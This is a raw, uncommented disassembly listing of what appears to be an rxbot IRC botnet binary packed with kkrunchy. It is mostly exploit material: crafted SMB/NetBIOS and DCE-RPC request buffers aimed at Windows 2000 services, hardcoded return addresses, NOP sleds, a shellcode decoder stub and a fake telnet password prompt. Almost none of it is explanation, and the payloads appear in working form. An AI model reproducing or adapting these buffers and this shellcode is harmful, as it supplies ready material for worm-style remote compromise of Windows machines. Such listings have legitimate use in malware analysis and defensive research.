aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40A236:loc_40A32Bo align 4 byte_415194 db 41h ; DATA XREF: sub_40A42C:loc_40A43Ar ; sub_40A51A+15r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 unk_4151D8 db 2Dh ; - ; DATA XREF: kkrunchy:0040B6A8o ; sub_40E6A0+52o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 2Eh, 3, 30h db 34h ; 4 db 2, 25h, 73h db 3 db 2, 2Dh, 20h aU_RawTransferT db '%u. Raw transfer to %s complete.',0 align 10h aTelnet db 'telnet',0 ; DATA XREF: kkrunchy:0040B6A2o align 4 aUserAccessVeri db 0Dh,0Ah ; DATA XREF: kkrunchy:0040B680o db 0Dh,0Ah db 'User Access Verification',0Dh,0Ah db 0Dh,0Ah db 'Password:',0 align 4 dword_415244 dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0 ; DATA XREF: kkrunchy:0040B651o dword_415254 dd 1130h, 0 ; DATA XREF: sub_40B6BE+51o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dword_415280 dd 77777777h ; DATA XREF: kkrunchy:0040B927r dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h dd 77F9D463h dword_41529C dd 750362C3h ; DATA XREF: kkrunchy:0040B939r dd 75035173h, 3 dup(717564B8h) dword_4152B0 dd 71AB7BFBh ; DATA XREF: kkrunchy:0040B94Br dd 773AD507h, 7C941EEDh dword_4152BC dd 77DB565Ch ; DATA XREF: kkrunchy:loc_40B954r dd 77FD1F89h, 2 dup(77E216B8h) ; --------------------------------------------------------------------------- loc_4152CC: ; DATA XREF: kkrunchy:0040B910o ; sub_40BAAF+D7o ... jmp short loc_4152D2 ; --------------------------------------------------------------------------- align 10h loc_4152D0: ; DATA XREF: kkrunchy:0040B8EFo xor ebp, [esi] loc_4152D2: ; CODE XREF: kkrunchy:loc_4152CCj aaa xor ch, [esi] xor [esi], ch xor [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) a131_131_131_13 db '131.131.131.131',0 ; DATA XREF: kkrunchy:0040B8E4o aRxbot_paradise db 'rxbot_paradise',0 ; DATA XREF: kkrunchy:0040B8D1o align 4 a121204131313 db '12/12/04 13:13:13',0 ; DATA XREF: kkrunchy:0040B8BEo align 10h aRxbotWasHere db 'rxbot was here',0 ; DATA XREF: kkrunchy:0040B8A8o align 10h aRxbot db 'rxbot',0 ; DATA XREF: kkrunchy:0040B895o align 4 dword_415328 dd 2710h ; DATA XREF: kkrunchy:0040B858o ; sub_40BAAF+88o dword_41532C dd 1130h, 0 ; DATA XREF: sub_40B99D+51o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1 db 0 byte_415355 db 3 dup(0) ; DATA XREF: kkrunchy:off_414108o dword_415358 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh ; DATA XREF: sub_40BAAF+C4o dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dword_41537C dd 2 dup(4A9D5E21h), 0 ; DATA XREF: sub_40BAAF+9Bo dword_415388 dd 77777777h ; DATA XREF: sub_40BAAF+EDr dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h dd 77F32836h dword_4153A4 dd 750362C3h ; DATA XREF: sub_40BAAF+FEr dd 75035173h, 3 dup(7C2FA0F7h) dword_4153B8 dd 71AB7BFBh ; DATA XREF: sub_40BAAF+10Fr dd 71AB7BFBh, 7C941EEDh dword_4153C4 dd 77E216B8h ; DATA XREF: sub_40BAAF:loc_40BBC7r dd 77FD1F89h, 2 dup(77E216B8h) dword_4153D4 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_40BC10+38o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: ; DATA XREF: sub_40BCBD+94o unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh dd 0 dword_415454 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40BCBD+6Co dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4157B8 dd 20h, 0 ; DATA XREF: sub_40BCBD+81o dd 20h, 5C005Ch, 0 aC1234561111111: ; DATA XREF: sub_40BCBD+CCo unicode 0, <\C$\123456111111111111111.doc>,0 dd 0 dword_41580C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40BCBD+E5o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dword_415840 dd 2180310h ; DATA XREF: sub_40BCBD+13Co dword_415844 dd 10016C6h ; DATA XREF: sub_40BCBD+133o dword_415848 dd 100139Dh ; DATA XREF: sub_40BCBD+12Ao dword_41584C dd 1001C55h ; DATA XREF: sub_40BCBD+113o dword_415850 dd 1001C98h ; DATA XREF: sub_40BCBD:loc_40BDD7o dword_415854 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_40BCBD+Eo ; sub_40BE68+53o ... dword_41585C dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_40BE68+14o dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4158A8 dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_40BE68+11Eo dword_4158C4 dd 10005h, 2 dup(0) ; DATA XREF: sub_40BE68+131o dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41590C dd 0 ; DATA XREF: sub_40BE68+266o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_415940: ; DATA XREF: sub_40BE68+100o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41594C: ; DATA XREF: sub_40BE68+B0o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_415958: ; DATA XREF: sub_40BE68+154o jmp short loc_41596A ; --------------------------------------------------------------------------- jmp short loc_415975 ; --------------------------------------------------------------------------- align 10h loc_415960: ; DATA XREF: sub_40BE68+1B3o jmp short near ptr word_415966 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_415966 dw 0 ; CODE XREF: kkrunchy:loc_415960j ; --------------------------------------------------------------------------- loc_415968: ; DATA XREF: sub_40BE68+1D6o jmp short near ptr word_41596E ; --------------------------------------------------------------------------- loc_41596A: ; CODE XREF: kkrunchy:loc_415958j ; kkrunchy:loc_415988j jmp short loc_415970 ; --------------------------------------------------------------------------- db 2 dup(0) word_41596E dw 0 ; CODE XREF: kkrunchy:loc_415968j ; --------------------------------------------------------------------------- loc_415970: ; CODE XREF: kkrunchy:loc_41596Aj ; DATA XREF: sub_40BE68+1FCo jmp short near ptr loc_415975+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_415975: ; CODE XREF: kkrunchy:0041595Aj ; kkrunchy:loc_415970j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_415978 dd offset loc_410058+4 ; DATA XREF: sub_40BE68+24Fo dd 2 dup(0) dword_415984 dd 77F33723h ; DATA XREF: sub_40BE68+17Ao ; --------------------------------------------------------------------------- loc_415988: ; DATA XREF: sub_40BE68+190o jmp short loc_41596A ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41598C: ; DATA XREF: sub_40BE68+167o lahf jnz short loc_4159A7 loc_41598F: ; DATA XREF: sub_40BE68+F0o add [ecx+1Ch], bl loc_415992: ; CODE XREF: kkrunchy:loc_41599Cj add [ecx], al loc_415994: ; DATA XREF: sub_40BE68+D0o or ecx, [ebx] sbb eax, [eax] loc_415998: ; DATA XREF: sub_40BE68+E0o jmp short near ptr dword_4159A0 ; --------------------------------------------------------------------------- align 4 loc_41599C: ; DATA XREF: sub_40BE68+C0o jmp short loc_415992 ; --------------------------------------------------------------------------- align 10h dword_4159A0 dd 85000000h ; CODE XREF: kkrunchy:loc_415998j ; DATA XREF: sub_40C501+4Fo ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_4159A7: ; CODE XREF: kkrunchy:0041598Dj inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_415A2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C501+8Co dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_415AD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C501+BFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_415BB8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+76o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_40C135+9Do unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_415C1C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+102o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_415C88 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+13Bo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_415D2C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+36Eo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_415DAC dd offset loc_401494+1 ; DATA XREF: sub_40C135+39Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_415E40 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+23Eo dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_415EAC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+269o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_415F20 dd 0 ; DATA XREF: sub_40C135+29Ao dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_415FA8 proc near ; DATA XREF: sub_40C135+35Bo sub sp, 71Ch jmp esp sub_415FA8 endp ; --------------------------------------------------------------------------- align 10h dword_415FB0 dd 1004600h, 7515123Ch, 751C123Ch ; DATA XREF: sub_40C135+348o ; --------------------------------------------------------------------------- loc_415FBC: ; DATA XREF: sub_40C135+1C1o jmp short loc_415FC4 ; --------------------------------------------------------------------------- dw 6EBh dd 0 ; --------------------------------------------------------------------------- loc_415FC4: ; CODE XREF: kkrunchy:loc_415FBCj ; DATA XREF: kkrunchy:0040C6DEo ... mov edx, 5042B68Ah push ds loc_415FCA: ; DATA XREF: kkrunchy:0040C692o rol byte ptr [edx+12h], 1 add [eax], eax xor al, 0 ; --------------------------------------------------------------------------- db 3 dup(0) dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dword_415FF4 dd 34EEA51Bh, 0 ; DATA XREF: kkrunchy:0040C6BAo dword_415FFC dd 12400h, 0 ; DATA XREF: kkrunchy:0040C774o a3333 db '3333',0 ; DATA XREF: kkrunchy:0040C714o align 4 aCccc db 'CCCC',0 ; DATA XREF: kkrunchy:0040C6CCo align 4 dword_416014 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C7ECo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4160A0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C824o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dword_41614C dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C852o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41622C dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C885o dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41626C dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C8BEo dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_4162D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C8ECo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_416374 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: kkrunchy:0040C937o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_4163FC dd 0 ; DATA XREF: kkrunchy:0040C9B0o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 10h dword_416420 dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: kkrunchy:0040CA10o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_4164A8 dd 0 ; DATA XREF: kkrunchy:0040CA7Ao dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_4164CC dd 20804h, 0 ; DATA XREF: kkrunchy:0040C982o ; kkrunchy:0040CA5Bo dword_4164D4 dd 2080Ah, 0 ; DATA XREF: kkrunchy:0040C977o dword_4164DC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CAA1+4Eo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_416568 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+9Do dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_416614 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+D5o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4166F4 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+11Do dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dword_416728 dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: sub_40CAA1+15Fo dword_416734 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+1DAo dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dword_4167A0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+21Fo dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_416844 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+280o dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41690E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_416916 ; --------------------------------------------------------------------------- loc_41690E: ; CODE XREF: kkrunchy:00416904j nop nop db 67h adc eax, 8EB767Ah loc_416916: ; CODE XREF: kkrunchy:0041690Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_416965 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_416965: ; CODE XREF: kkrunchy:0041695Bj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_416978 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1:loc_40CD28o dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_416A42 ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_416A4A ; --------------------------------------------------------------------------- loc_416A42: ; CODE XREF: kkrunchy:00416A38j nop nop db 67h adc eax, 8EB767Ah loc_416A4A: ; CODE XREF: kkrunchy:00416A40j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_416ABA add [ecx], eax jmp short loc_416A8A ; --------------------------------------------------------------------------- align 4 dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_416A8A: ; CODE XREF: kkrunchy:00416A80j nop nop nop nop nop jmp short loc_416A99 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: kkrunchy:00416A8Fj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_416AAC dd 7E0h, 4, 0 ; DATA XREF: sub_40CAA1+2B9o db 2 dup(0) word_416ABA dw 0 ; CODE XREF: kkrunchy:00416A7Cj align 10h dword_416AC0 dd 0D0EC8166h, 7 ; DATA XREF: sub_40CEBE+D9o dword_416AC8 dd 129F74h, 0 ; DATA XREF: sub_40CEBE+380o dword_416AD0 dd 127D78h, 0 ; DATA XREF: sub_40CEBE+3E5o ; =============== S U B R O U T I N E ======================================= sub_416AD8 proc near ; DATA XREF: sub_40CEBE+10Bo ; FUNCTION CHUNK AT 00416ADE SIZE 00000049 BYTES pusha jmp short loc_416ADE sub_416AD8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ADB proc near ; CODE XREF: sub_416AD8:loc_416ADEp pop ebx push ebx retn sub_416ADB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416AD8 loc_416ADE: ; CODE XREF: sub_416AD8+1j call sub_416ADB xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_416AEB: ; CODE XREF: sub_416AD8+3Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_416AEB popa loc_416B17: ; DATA XREF: sub_40CEBE+EAr add [ebx+31h], al loc_416B1A: ; DATA XREF: sub_40CEBE+E4r mov ebp, 7FC77h loc_416B1F: ; DATA XREF: sub_40CEBE:loc_40D1D9r ; sub_40CEBE+348r ... add [ecx], al inc ebx loc_416B22: ; CODE XREF: sub_416AD8+4Cj xor eax, eax ja short loc_416B22 pop es ; END OF FUNCTION CHUNK FOR sub_416AD8 ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 